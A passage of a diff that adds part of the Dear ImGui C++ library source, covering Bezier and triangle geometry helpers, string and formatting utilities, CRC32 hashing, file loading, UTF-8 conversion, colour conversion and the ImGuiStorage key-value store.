0) ? d2 : -d2; + d3 = (d3 >= 0) ? d3 : -d3; + if ((d2 + d3) * (d2 + d3) < tess_tol * (dx * dx + dy * dy)) + { + ImVec2 p_current(x4, y4); + ImVec2 p_line = ImLineClosestPoint(p_last, p_current, p); + float dist2 = ImLengthSqr(p - p_line); + if (dist2 < p_closest_dist2) + { + p_closest = p_line; + p_closest_dist2 = dist2; + } + p_last = p_current; + } + else if (level < 10) + { + float x12 = (x1 + x2) * 0.5f, y12 = (y1 + y2) * 0.5f; + float x23 = (x2 + x3) * 0.5f, y23 = (y2 + y3) * 0.5f; + float x34 = (x3 + x4) * 0.5f, y34 = (y3 + y4) * 0.5f; + float x123 = (x12 + x23) * 0.5f, y123 = (y12 + y23) * 0.5f; + float x234 = (x23 + x34) * 0.5f, y234 = (y23 + y34) * 0.5f; + float x1234 = (x123 + x234) * 0.5f, y1234 = (y123 + y234) * 0.5f; + ImBezierCubicClosestPointCasteljauStep(p, p_closest, p_last, p_closest_dist2, x1, y1, x12, y12, x123, y123, x1234, y1234, tess_tol, level + 1); + ImBezierCubicClosestPointCasteljauStep(p, p_closest, p_last, p_closest_dist2, x1234, y1234, x234, y234, x34, y34, x4, y4, tess_tol, level + 1); + } +} + +// tess_tol is generally the same value you would find in ImGui::GetStyle().CurveTessellationTol +// Because those ImXXX functions are lower-level than ImGui:: we cannot access this value automatically. +ImVec2 ImBezierCubicClosestPointCasteljau(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, float tess_tol) +{ + IM_ASSERT(tess_tol > 0.0f); + ImVec2 p_last = p1; + ImVec2 p_closest; + float p_closest_dist2 = FLT_MAX; + ImBezierCubicClosestPointCasteljauStep(p, p_closest, p_last, p_closest_dist2, p1.x, p1.y, p2.x, p2.y, p3.x, p3.y, p4.x, p4.y, tess_tol, 0); + return p_closest; +} + +ImVec2 ImLineClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& p) +{ + ImVec2 ap = p - a; + ImVec2 ab_dir = b - a; + float dot = ap.x * ab_dir.x + ap.y * ab_dir.y; + if (dot < 0.0f) + return a; + float ab_len_sqr = ab_dir.x * ab_dir.x + ab_dir.y * ab_dir.y; + if (dot > ab_len_sqr) + return b; + return a + ab_dir * dot / ab_len_sqr; +} + +bool ImTriangleContainsPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p) +{ + bool b1 = ((p.x - b.x) * (a.y - b.y) - (p.y - b.y) * (a.x - b.x)) < 0.0f; + bool b2 = ((p.x - c.x) * (b.y - c.y) - (p.y - c.y) * (b.x - c.x)) < 0.0f; + bool b3 = ((p.x - a.x) * (c.y - a.y) - (p.y - a.y) * (c.x - a.x)) < 0.0f; + return ((b1 == b2) && (b2 == b3)); +} + +void ImTriangleBarycentricCoords(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p, float& out_u, float& out_v, float& out_w) +{ + ImVec2 v0 = b - a; + ImVec2 v1 = c - a; + ImVec2 v2 = p - a; + const float denom = v0.x * v1.y - v1.x * v0.y; + out_v = (v2.x * v1.y - v1.x * v2.y) / denom; + out_w = (v0.x * v2.y - v2.x * v0.y) / denom; + out_u = 1.0f - out_v - out_w; +} + +ImVec2 ImTriangleClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p) +{ + ImVec2 proj_ab = ImLineClosestPoint(a, b, p); + ImVec2 proj_bc = ImLineClosestPoint(b, c, p); + ImVec2 proj_ca = ImLineClosestPoint(c, a, p); + float dist2_ab = ImLengthSqr(p - proj_ab); + float dist2_bc = ImLengthSqr(p - proj_bc); + float dist2_ca = ImLengthSqr(p - proj_ca); + float m = ImMin(dist2_ab, ImMin(dist2_bc, dist2_ca)); + if (m == dist2_ab) + return proj_ab; + if (m == dist2_bc) + return proj_bc; + return proj_ca; +} + +//----------------------------------------------------------------------------- +// [SECTION] MISC HELPERS/UTILITIES (String, Format, Hash functions) +//----------------------------------------------------------------------------- + +// Consider using _stricmp/_strnicmp under Windows or strcasecmp/strncasecmp. We don't actually use either ImStricmp/ImStrnicmp in the codebase any more. +int ImStricmp(const char* str1, const char* str2) +{ + int d; + while ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) { str1++; str2++; } + return d; +} + +int ImStrnicmp(const char* str1, const char* str2, size_t count) +{ + int d = 0; + while (count > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) { str1++; str2++; count--; } + return d; +} + +void ImStrncpy(char* dst, const char* src, size_t count) +{ + if (count < 1) + return; + if (count > 1) + strncpy(dst, src, count - 1); + dst[count - 1] = 0; +} + +char* ImStrdup(const char* str) +{ + size_t len = strlen(str); + void* buf = IM_ALLOC(len + 1); + return (char*)memcpy(buf, (const void*)str, len + 1); +} + +char* ImStrdupcpy(char* dst, size_t* p_dst_size, const char* src) +{ + size_t dst_buf_size = p_dst_size ? *p_dst_size : strlen(dst) + 1; + size_t src_size = strlen(src) + 1; + if (dst_buf_size < src_size) + { + IM_FREE(dst); + dst = (char*)IM_ALLOC(src_size); + if (p_dst_size) + *p_dst_size = src_size; + } + return (char*)memcpy(dst, (const void*)src, src_size); +} + +const char* ImStrchrRange(const char* str, const char* str_end, char c) +{ + const char* p = (const char*)memchr(str, (int)c, str_end - str); + return p; +} + +int ImStrlenW(const ImWchar* str) +{ + //return (int)wcslen((const wchar_t*)str); // FIXME-OPT: Could use this when wchar_t are 16-bit + int n = 0; + while (*str++) n++; + return n; +} + +// Find end-of-line. Return pointer will point to either first \n, either str_end. +const char* ImStreolRange(const char* str, const char* str_end) +{ + const char* p = (const char*)memchr(str, '\n', str_end - str); + return p ? p : str_end; +} + +const ImWchar* ImStrbolW(const ImWchar* buf_mid_line, const ImWchar* buf_begin) // find beginning-of-line +{ + while (buf_mid_line > buf_begin && buf_mid_line[-1] != '\n') + buf_mid_line--; + return buf_mid_line; +} + +const char* ImStristr(const char* haystack, const char* haystack_end, const char* needle, const char* needle_end) +{ + if (!needle_end) + needle_end = needle + strlen(needle); + + const char un0 = (char)toupper(*needle); + while ((!haystack_end && *haystack) || (haystack_end && haystack < haystack_end)) + { + if (toupper(*haystack) == un0) + { + const char* b = needle + 1; + for (const char* a = haystack + 1; b < needle_end; a++, b++) + if (toupper(*a) != toupper(*b)) + break; + if (b == needle_end) + return haystack; + } + haystack++; + } + return NULL; +} + +// Trim str by offsetting contents when there's leading data + writing a \0 at the trailing position. We use this in situation where the cost is negligible. +void ImStrTrimBlanks(char* buf) +{ + char* p = buf; + while (p[0] == ' ' || p[0] == '\t') // Leading blanks + p++; + char* p_start = p; + while (*p != 0) // Find end of string + p++; + while (p > p_start && (p[-1] == ' ' || p[-1] == '\t')) // Trailing blanks + p--; + if (p_start != buf) // Copy memory if we had leading blanks + memmove(buf, p_start, p - p_start); + buf[p - p_start] = 0; // Zero terminate +} + +const char* ImStrSkipBlank(const char* str) +{ + while (str[0] == ' ' || str[0] == '\t') + str++; + return str; +} + +// A) MSVC version appears to return -1 on overflow, whereas glibc appears to return total count (which may be >= buf_size). +// Ideally we would test for only one of those limits at runtime depending on the behavior the vsnprintf(), but trying to deduct it at compile time sounds like a pandora can of worm. +// B) When buf==NULL vsnprintf() will return the output size. +#ifndef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS + +// We support stb_sprintf which is much faster (see: https://github.com/nothings/stb/blob/master/stb_sprintf.h) +// You may set IMGUI_USE_STB_SPRINTF to use our default wrapper, or set IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS +// and setup the wrapper yourself. (FIXME-OPT: Some of our high-level operations such as ImGuiTextBuffer::appendfv() are +// designed using two-passes worst case, which probably could be improved using the stbsp_vsprintfcb() function.) +#ifdef IMGUI_USE_STB_SPRINTF +#define STB_SPRINTF_IMPLEMENTATION +#include "stb_sprintf.h" +#endif + +#if defined(_MSC_VER) && !defined(vsnprintf) +#define vsnprintf _vsnprintf +#endif + +int ImFormatString(char* buf, size_t buf_size, const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); +#ifdef IMGUI_USE_STB_SPRINTF + int w = stbsp_vsnprintf(buf, (int)buf_size, fmt, args); +#else + int w = vsnprintf(buf, buf_size, fmt, args); +#endif + va_end(args); + if (buf == NULL) + return w; + if (w == -1 || w >= (int)buf_size) + w = (int)buf_size - 1; + buf[w] = 0; + return w; +} + +int ImFormatStringV(char* buf, size_t buf_size, const char* fmt, va_list args) +{ +#ifdef IMGUI_USE_STB_SPRINTF + int w = stbsp_vsnprintf(buf, (int)buf_size, fmt, args); +#else + int w = vsnprintf(buf, buf_size, fmt, args); +#endif + if (buf == NULL) + return w; + if (w == -1 || w >= (int)buf_size) + w = (int)buf_size - 1; + buf[w] = 0; + return w; +} +#endif // #ifdef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS + +// CRC32 needs a 1KB lookup table (not cache friendly) +// Although the code to generate the table is simple and shorter than the table itself, using a const table allows us to easily: +// - avoid an unnecessary branch/memory tap, - keep the ImHashXXX functions usable by static constructors, - make it thread-safe. +static const ImU32 GCrc32LookupTable[256] = +{ + 0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,0xE963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,0x09B64C2B,0x7EB17CBD,0xE7B82D07,0x90BF1D91, + 0x1DB71064,0x6AB020F2,0xF3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0xF4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0xFA0F3D63,0x8D080DF5, + 0x3B6E20C8,0x4C69105E,0xD56041E4,0xA2677172,0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59, + 0x26D930AC,0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,0xCFBA9599,0xB8BDA50F,0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,0x2F6F7C87,0x58684C11,0xC1611DAB,0xB6662D3D, + 0x76DC4190,0x01DB7106,0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,0x9FBFE4A5,0xE8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,0x086D3D2D,0x91646C97,0xE6635C01, + 0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65, + 0x4DB26158,0x3AB551CE,0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,0xA4D1C46D,0xD3D6F4FB,0x4369E96A,0x346ED9FC,0xAD678846,0xDA60B8D0,0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9, + 0x5005713C,0x270241AA,0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,0xCE61E49F,0x5EDEF90E,0x29D9C998,0xB0D09822,0xC7D7A8B4,0x59B33D17,0x2EB40D81,0xB7BD5C3B,0xC0BA6CAD, + 0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,0xEAD54739,0x9DD277AF,0x04DB2615,0x73DC1683,0xE3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1, + 0xF00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0xF762575D,0x806567CB,0x196C3671,0x6E6B06E7,0xFED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5, + 0xD6D6A3E8,0xA1D1937E,0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,0x316E8EEF,0x4669BE79, + 0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,0xCC0C7795,0xBB0B4703,0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,0x2BB45A92,0x5CB36A04,0xC2D7FFA7,0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D, + 0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,0x9C0906A9,0xEB0E363F,0x72076785,0x05005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21, + 0x86D3D2D4,0xF1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,0x616BFFD3,0x166CCF45, + 0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,0xA7672661,0xD06016F7,0x4969474D,0x3E6E77DB,0xAED16A4A,0xD9D65ADC,0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,0x47B2CF7F,0x30B5FFE9, + 0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,0xCDD70693,0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D, +}; + +// Known size hash +// It is ok to call ImHashData on a string with known length but the ### operator won't be supported. +// FIXME-OPT: Replace with e.g. FNV1a hash? CRC32 pretty much randomly access 1KB. Need to do proper measurements. +ImGuiID ImHashData(const void* data_p, size_t data_size, ImU32 seed) +{ + ImU32 crc = ~seed; + const unsigned char* data = (const unsigned char*)data_p; + const ImU32* crc32_lut = GCrc32LookupTable; + while (data_size-- != 0) + crc = (crc >> 8) ^ crc32_lut[(crc & 0xFF) ^ *data++]; + return ~crc; +} + +// Zero-terminated string hash, with support for ### to reset back to seed value +// We support a syntax of "label###id" where only "###id" is included in the hash, and only "label" gets displayed. +// Because this syntax is rarely used we are optimizing for the common case. +// - If we reach ### in the string we discard the hash so far and reset to the seed. +// - We don't do 'current += 2; continue;' after handling ### to keep the code smaller/faster (measured ~10% diff in Debug build) +// FIXME-OPT: Replace with e.g. FNV1a hash? CRC32 pretty much randomly access 1KB. Need to do proper measurements. +ImGuiID ImHashStr(const char* data_p, size_t data_size, ImU32 seed) +{ + seed = ~seed; + ImU32 crc = seed; + const unsigned char* data = (const unsigned char*)data_p; + const ImU32* crc32_lut = GCrc32LookupTable; + if (data_size != 0) + { + while (data_size-- != 0) + { + unsigned char c = *data++; + if (c == '#' && data_size >= 2 && data[0] == '#' && data[1] == '#') + crc = seed; + crc = (crc >> 8) ^ crc32_lut[(crc & 0xFF) ^ c]; + } + } + else + { + while (unsigned char c = *data++) + { + if (c == '#' && data[0] == '#' && data[1] == '#') + crc = seed; + crc = (crc >> 8) ^ crc32_lut[(crc & 0xFF) ^ c]; + } + } + return ~crc; +} + +//----------------------------------------------------------------------------- +// [SECTION] MISC HELPERS/UTILITIES (File functions) +//----------------------------------------------------------------------------- + +// Default file functions +#ifndef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS + +ImFileHandle ImFileOpen(const char* filename, const char* mode) +{ +#if defined(_WIN32) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) && !defined(__CYGWIN__) && !defined(__GNUC__) + // We need a fopen() wrapper because MSVC/Windows fopen doesn't handle UTF-8 filenames. + // Previously we used ImTextCountCharsFromUtf8/ImTextStrFromUtf8 here but we now need to support ImWchar16 and ImWchar32! + const int filename_wsize = ::MultiByteToWideChar(CP_UTF8, 0, filename, -1, NULL, 0); + const int mode_wsize = ::MultiByteToWideChar(CP_UTF8, 0, mode, -1, NULL, 0); + ImVector buf; + buf.resize(filename_wsize + mode_wsize); + ::MultiByteToWideChar(CP_UTF8, 0, filename, -1, (wchar_t*)&buf[0], filename_wsize); + ::MultiByteToWideChar(CP_UTF8, 0, mode, -1, (wchar_t*)&buf[filename_wsize], mode_wsize); + return ::_wfopen((const wchar_t*)&buf[0], (const wchar_t*)&buf[filename_wsize]); +#else + return fopen(filename, mode); +#endif +} + +// We should in theory be using fseeko()/ftello() with off_t and _fseeki64()/_ftelli64() with __int64, waiting for the PR that does that in a very portable pre-C++11 zero-warnings way. +bool ImFileClose(ImFileHandle f) { return fclose(f) == 0; } +ImU64 ImFileGetSize(ImFileHandle f) { long off = 0, sz = 0; return ((off = ftell(f)) != -1 && !fseek(f, 0, SEEK_END) && (sz = ftell(f)) != -1 && !fseek(f, off, SEEK_SET)) ? (ImU64)sz : (ImU64)-1; } +ImU64 ImFileRead(void* data, ImU64 sz, ImU64 count, ImFileHandle f) { return fread(data, (size_t)sz, (size_t)count, f); } +ImU64 ImFileWrite(const void* data, ImU64 sz, ImU64 count, ImFileHandle f) { return fwrite(data, (size_t)sz, (size_t)count, f); } +#endif // #ifndef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS + +// Helper: Load file content into memory +// Memory allocated with IM_ALLOC(), must be freed by user using IM_FREE() == ImGui::MemFree() +// This can't really be used with "rt" because fseek size won't match read size. +void* ImFileLoadToMemory(const char* filename, const char* mode, size_t* out_file_size, int padding_bytes) +{ + IM_ASSERT(filename && mode); + if (out_file_size) + *out_file_size = 0; + + ImFileHandle f; + if ((f = ImFileOpen(filename, mode)) == NULL) + return NULL; + + size_t file_size = (size_t)ImFileGetSize(f); + if (file_size == (size_t)-1) + { + ImFileClose(f); + return NULL; + } + + void* file_data = IM_ALLOC(file_size + padding_bytes); + if (file_data == NULL) + { + ImFileClose(f); + return NULL; + } + if (ImFileRead(file_data, 1, file_size, f) != file_size) + { + ImFileClose(f); + IM_FREE(file_data); + return NULL; + } + if (padding_bytes > 0) + memset((void*)(((char*)file_data) + file_size), 0, (size_t)padding_bytes); + + ImFileClose(f); + if (out_file_size) + *out_file_size = file_size; + + return file_data; +} + +//----------------------------------------------------------------------------- +// [SECTION] MISC HELPERS/UTILITIES (ImText* functions) +//----------------------------------------------------------------------------- + +// Convert UTF-8 to 32-bit character, process single character input. +// A nearly-branchless UTF-8 decoder, based on work of Christopher Wellons (https://github.com/skeeto/branchless-utf8). +// We handle UTF-8 decoding error by skipping forward. +int ImTextCharFromUtf8(unsigned int* out_char, const char* in_text, const char* in_text_end) +{ + static const char lengths[32] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 3, 3, 4, 0 }; + static const int masks[] = { 0x00, 0x7f, 0x1f, 0x0f, 0x07 }; + static const uint32_t mins[] = { 0x400000, 0, 0x80, 0x800, 0x10000 }; + static const int shiftc[] = { 0, 18, 12, 6, 0 }; + static const int shifte[] = { 0, 6, 4, 2, 0 }; + int len = lengths[*(const unsigned char*)in_text >> 3]; + int wanted = len + !len; + + if (in_text_end == NULL) + in_text_end = in_text + wanted; // Max length, nulls will be taken into account. + + // Copy at most 'len' bytes, stop copying at 0 or past in_text_end. Branch predictor does a good job here, + // so it is fast even with excessive branching. + unsigned char s[4]; + s[0] = in_text + 0 < in_text_end ? in_text[0] : 0; + s[1] = in_text + 1 < in_text_end ? in_text[1] : 0; + s[2] = in_text + 2 < in_text_end ? in_text[2] : 0; + s[3] = in_text + 3 < in_text_end ? in_text[3] : 0; + + // Assume a four-byte character and load four bytes. Unused bits are shifted out. + *out_char = (uint32_t)(s[0] & masks[len]) << 18; + *out_char |= (uint32_t)(s[1] & 0x3f) << 12; + *out_char |= (uint32_t)(s[2] & 0x3f) << 6; + *out_char |= (uint32_t)(s[3] & 0x3f) << 0; + *out_char >>= shiftc[len]; + + // Accumulate the various error conditions. + int e = 0; + e = (*out_char < mins[len]) << 6; // non-canonical encoding + e |= ((*out_char >> 11) == 0x1b) << 7; // surrogate half? + e |= (*out_char > IM_UNICODE_CODEPOINT_MAX) << 8; // out of range? + e |= (s[1] & 0xc0) >> 2; + e |= (s[2] & 0xc0) >> 4; + e |= (s[3]) >> 6; + e ^= 0x2a; // top two bits of each tail byte correct? + e >>= shifte[len]; + + if (e) + { + // No bytes are consumed when *in_text == 0 || in_text == in_text_end. + // One byte is consumed in case of invalid first byte of in_text. + // All available bytes (at most `len` bytes) are consumed on incomplete/invalid second to last bytes. + // Invalid or incomplete input may consume less bytes than wanted, therefore every byte has to be inspected in s. + wanted = ImMin(wanted, !!s[0] + !!s[1] + !!s[2] + !!s[3]); + *out_char = IM_UNICODE_CODEPOINT_INVALID; + } + + return wanted; +} + +int ImTextStrFromUtf8(ImWchar* buf, int buf_size, const char* in_text, const char* in_text_end, const char** in_text_remaining) +{ + ImWchar* buf_out = buf; + ImWchar* buf_end = buf + buf_size; + while (buf_out < buf_end - 1 && (!in_text_end || in_text < in_text_end) && *in_text) + { + unsigned int c; + in_text += ImTextCharFromUtf8(&c, in_text, in_text_end); + if (c == 0) + break; + *buf_out++ = (ImWchar)c; + } + *buf_out = 0; + if (in_text_remaining) + *in_text_remaining = in_text; + return (int)(buf_out - buf); +} + +int ImTextCountCharsFromUtf8(const char* in_text, const char* in_text_end) +{ + int char_count = 0; + while ((!in_text_end || in_text < in_text_end) && *in_text) + { + unsigned int c; + in_text += ImTextCharFromUtf8(&c, in_text, in_text_end); + if (c == 0) + break; + char_count++; + } + return char_count; +} + +// Based on stb_to_utf8() from github.com/nothings/stb/ +static inline int ImTextCharToUtf8(char* buf, int buf_size, unsigned int c) +{ + if (c < 0x80) + { + buf[0] = (char)c; + return 1; + } + if (c < 0x800) + { + if (buf_size < 2) return 0; + buf[0] = (char)(0xc0 + (c >> 6)); + buf[1] = (char)(0x80 + (c & 0x3f)); + return 2; + } + if (c < 0x10000) + { + if (buf_size < 3) return 0; + buf[0] = (char)(0xe0 + (c >> 12)); + buf[1] = (char)(0x80 + ((c >> 6) & 0x3f)); + buf[2] = (char)(0x80 + ((c) & 0x3f)); + return 3; + } + if (c <= 0x10FFFF) + { + if (buf_size < 4) return 0; + buf[0] = (char)(0xf0 + (c >> 18)); + buf[1] = (char)(0x80 + ((c >> 12) & 0x3f)); + buf[2] = (char)(0x80 + ((c >> 6) & 0x3f)); + buf[3] = (char)(0x80 + ((c) & 0x3f)); + return 4; + } + // Invalid code point, the max unicode is 0x10FFFF + return 0; +} + +// Not optimal but we very rarely use this function. +int ImTextCountUtf8BytesFromChar(const char* in_text, const char* in_text_end) +{ + unsigned int unused = 0; + return ImTextCharFromUtf8(&unused, in_text, in_text_end); +} + +static inline int ImTextCountUtf8BytesFromChar(unsigned int c) +{ + if (c < 0x80) return 1; + if (c < 0x800) return 2; + if (c < 0x10000) return 3; + if (c <= 0x10FFFF) return 4; + return 3; +} + +int ImTextStrToUtf8(char* buf, int buf_size, const ImWchar* in_text, const ImWchar* in_text_end) +{ + char* buf_out = buf; + const char* buf_end = buf + buf_size; + while (buf_out < buf_end - 1 && (!in_text_end || in_text < in_text_end) && *in_text) + { + unsigned int c = (unsigned int)(*in_text++); + if (c < 0x80) + *buf_out++ = (char)c; + else + buf_out += ImTextCharToUtf8(buf_out, (int)(buf_end - buf_out - 1), c); + } + *buf_out = 0; + return (int)(buf_out - buf); +} + +int ImTextCountUtf8BytesFromStr(const ImWchar* in_text, const ImWchar* in_text_end) +{ + int bytes_count = 0; + while ((!in_text_end || in_text < in_text_end) && *in_text) + { + unsigned int c = (unsigned int)(*in_text++); + if (c < 0x80) + bytes_count++; + else + bytes_count += ImTextCountUtf8BytesFromChar(c); + } + return bytes_count; +} + +//----------------------------------------------------------------------------- +// [SECTION] MISC HELPERS/UTILITIES (Color functions) +// Note: The Convert functions are early design which are not consistent with other API. +//----------------------------------------------------------------------------- + +IMGUI_API ImU32 ImAlphaBlendColors(ImU32 col_a, ImU32 col_b) +{ + float t = ((col_b >> IM_COL32_A_SHIFT) & 0xFF) / 255.f; + int r = ImLerp((int)(col_a >> IM_COL32_R_SHIFT) & 0xFF, (int)(col_b >> IM_COL32_R_SHIFT) & 0xFF, t); + int g = ImLerp((int)(col_a >> IM_COL32_G_SHIFT) & 0xFF, (int)(col_b >> IM_COL32_G_SHIFT) & 0xFF, t); + int b = ImLerp((int)(col_a >> IM_COL32_B_SHIFT) & 0xFF, (int)(col_b >> IM_COL32_B_SHIFT) & 0xFF, t); + return IM_COL32(r, g, b, 0xFF); +} + +ImVec4 ImGui::ColorConvertU32ToFloat4(ImU32 in) +{ + float s = 1.0f / 255.0f; + return ImVec4( + ((in >> IM_COL32_R_SHIFT) & 0xFF) * s, + ((in >> IM_COL32_G_SHIFT) & 0xFF) * s, + ((in >> IM_COL32_B_SHIFT) & 0xFF) * s, + ((in >> IM_COL32_A_SHIFT) & 0xFF) * s); +} + +ImU32 ImGui::ColorConvertFloat4ToU32(const ImVec4& in) +{ + ImU32 out; + out = ((ImU32)IM_F32_TO_INT8_SAT(in.x)) << IM_COL32_R_SHIFT; + out |= ((ImU32)IM_F32_TO_INT8_SAT(in.y)) << IM_COL32_G_SHIFT; + out |= ((ImU32)IM_F32_TO_INT8_SAT(in.z)) << IM_COL32_B_SHIFT; + out |= ((ImU32)IM_F32_TO_INT8_SAT(in.w)) << IM_COL32_A_SHIFT; + return out; +} + +// Convert rgb floats ([0-1],[0-1],[0-1]) to hsv floats ([0-1],[0-1],[0-1]), from Foley & van Dam p592 +// Optimized http://lolengine.net/blog/2013/01/13/fast-rgb-to-hsv +void ImGui::ColorConvertRGBtoHSV(float r, float g, float b, float& out_h, float& out_s, float& out_v) +{ + float K = 0.f; + if (g < b) + { + ImSwap(g, b); + K = -1.f; + } + if (r < g) + { + ImSwap(r, g); + K = -2.f / 6.f - K; + } + + const float chroma = r - (g < b ? g : b); + out_h = ImFabs(K + (g - b) / (6.f * chroma + 1e-20f)); + out_s = chroma / (r + 1e-20f); + out_v = r; +} + +// Convert hsv floats ([0-1],[0-1],[0-1]) to rgb floats ([0-1],[0-1],[0-1]), from Foley & van Dam p593 +// also http://en.wikipedia.org/wiki/HSL_and_HSV +void ImGui::ColorConvertHSVtoRGB(float h, float s, float v, float& out_r, float& out_g, float& out_b) +{ + if (s == 0.0f) + { + // gray + out_r = out_g = out_b = v; + return; + } + + h = ImFmod(h, 1.0f) / (60.0f / 360.0f); + int i = (int)h; + float f = h - (float)i; + float p = v * (1.0f - s); + float q = v * (1.0f - s * f); + float t = v * (1.0f - s * (1.0f - f)); + + switch (i) + { + case 0: out_r = v; out_g = t; out_b = p; break; + case 1: out_r = q; out_g = v; out_b = p; break; + case 2: out_r = p; out_g = v; out_b = t; break; + case 3: out_r = p; out_g = q; out_b = v; break; + case 4: out_r = t; out_g = p; out_b = v; break; + case 5: default: out_r = v; out_g = p; out_b = q; break; + } +} + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiStorage +// Helper: Key->value storage +//----------------------------------------------------------------------------- + +// std::lower_bound but without the bullshit +static ImGuiStorage::ImGuiStoragePair* LowerBound(ImVector& data, ImGuiID key) +{ + ImGuiStorage::ImGuiStoragePair* first = data.Data; + ImGuiStorage::ImGuiStoragePair* last = data.Data + data.Size; + size_t count = (size_t)(last - first); + while (count > 0) + { + size_t count2 = count >> 1; + ImGuiStorage::ImGuiStoragePair* mid = first + count2; + if (mid->key < key) + { + first = ++mid; + count -= count2 + 1; + } + else + { + count = count2; + } + } + return first; +} + +// For quicker full rebuild of a storage (instead of an incremental one), you may add all your contents and then sort once. +void ImGuiStorage::BuildSortByKey() +{ + struct StaticFunc + { + static int IMGUI_CDECL PairCompareByID(const void* lhs, const void* rhs) + { + // We can't just do a subtraction because qsort uses signed integers and subtracting our ID doesn't play well with that. + if (((const ImGuiStoragePair*)lhs)->key > ((const ImGuiStoragePair*)rhs)->key) return +1; + if (((const ImGuiStoragePair*)lhs)->key < ((const ImGuiStoragePair*)rhs)->key) return -1; + return 0; + } + }; + if (Data.Size > 1) + ImQsort(Data.Data, (size_t)Data.Size, sizeof(ImGuiStoragePair), StaticFunc::PairCompareByID); +} + +int ImGuiStorage::GetInt(ImGuiID key, int default_val) const +{ + ImGuiStoragePair* it = LowerBound(const_cast&>(Data), key); + if (it == Data.end() || it->key != key) + return default_val; + return it->val_i; +} + +bool ImGuiStorage::GetBool(ImGuiID key, bool default_val) const +{ + return GetInt(key, default_val ? 1 : 0) != 0; +} + +float ImGuiStorage::GetFloat(ImGuiID key, float default_val) const +{ + ImGuiStoragePair* it = LowerBound(const_cast&>(Data), key); + if (it == Data.end() || it->key != key) + return default_val; + return it->val_f; +} + +void* ImGuiStorage::GetVoidPtr(ImGuiID key) const +{ + ImGuiStoragePair* it = LowerBound(const_cast&>(Data), key); + if (it == Data.end() || it->key != key) + return NULL; + return it->val_p; +} + +// References are only valid until a new value is added to the storage. Calling a Set***() function or a Get***Ref() function invalidates the pointer. +int* ImGuiStorage::GetIntRef(ImGuiID key, int default_val) +{ + ImGuiStoragePair* it = LowerBound(Data, key); + if (it == Data.end() || it->key != key) + it = Data.insert(it, ImGuiStoragePair(key, default_val)); + return &it->val_i; +} + +bool* ImGuiStorage::GetBoolRef(ImGuiID key, bool default_val) +{ + return (bool*)GetIntRef(key, default_val ? 1 : 0); +} + +float* ImGuiStorage::GetFloatRef(ImGuiID key, float default_val) +{ + ImGuiStoragePair* it = LowerBound(Data, key); + if (it == Data.end() || it->key != key) + it = Data.insert(it, ImGuiStoragePair(key, default_val)); + return &it->val_f; +} + +void** 